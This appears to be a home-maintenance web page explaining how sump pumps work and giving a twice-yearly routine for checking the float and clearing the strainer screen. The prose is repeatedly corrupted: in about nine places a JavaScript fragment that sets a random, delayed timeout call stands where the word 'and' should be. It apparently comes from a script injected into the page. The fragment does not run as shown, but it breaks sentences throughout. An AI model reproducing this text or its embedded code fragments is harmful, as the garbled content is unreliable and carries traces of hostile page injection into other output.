A sump pump typically located in a basement, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it is a pump used to remove drainage Water that has accumulated in a collection basin. The Water commonly enters the collection basin from the perimeter drains of a basement Waterproofing system, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the source of the Water can be either surface rainwater, or it can be groundwater if the basement is below the Water table level.
The way an automatic sump pump works is that when the Water level rises, it pushes up a float that turns on the pump motor. As the Water is pumped out andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the float drops down, the pump motor automatically shuts off. Some sump pump systems have a backup battery so that the sump pump will still operate during a power failure.
Another type of sump pump can be for toilets andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and plumbing which are located below the level where the plumbing drainage pipe leaves your home, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and which therefore requires this wastewater to be pumped up to this higher level. When the sewer line level is above the basement floor, a sump pump is required for pumping the Water up to the sewer line level.
Routine Care Task
Check operation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and clear strainer screen
Priority
This task ensures proper operation of sump pump, which reduces risk of serious Water Damage.
Timing: |
June & October (yearly) |
How To
Check the inlet suction screen to be sure it is not blocked or plugged with debris. Clean out as necessary.
To check operation of the sump pump motor, pour Water into the drain area andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and see if the motor turns on when the float rises with the Water level. Repair as necessary.
Benefits
- Avoiding Unscheduled Repairs
- Health & Safety
- Maintaining Value
The benefits of this task are high, in that it helps to prevent very costly Water Damage, especially if you have a finished basement.
Costs
The cost of this task is low from an investment of time standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andpoint, as once you have done it the first time, it is much easier the next. It should only take about 30 minutes to complete.
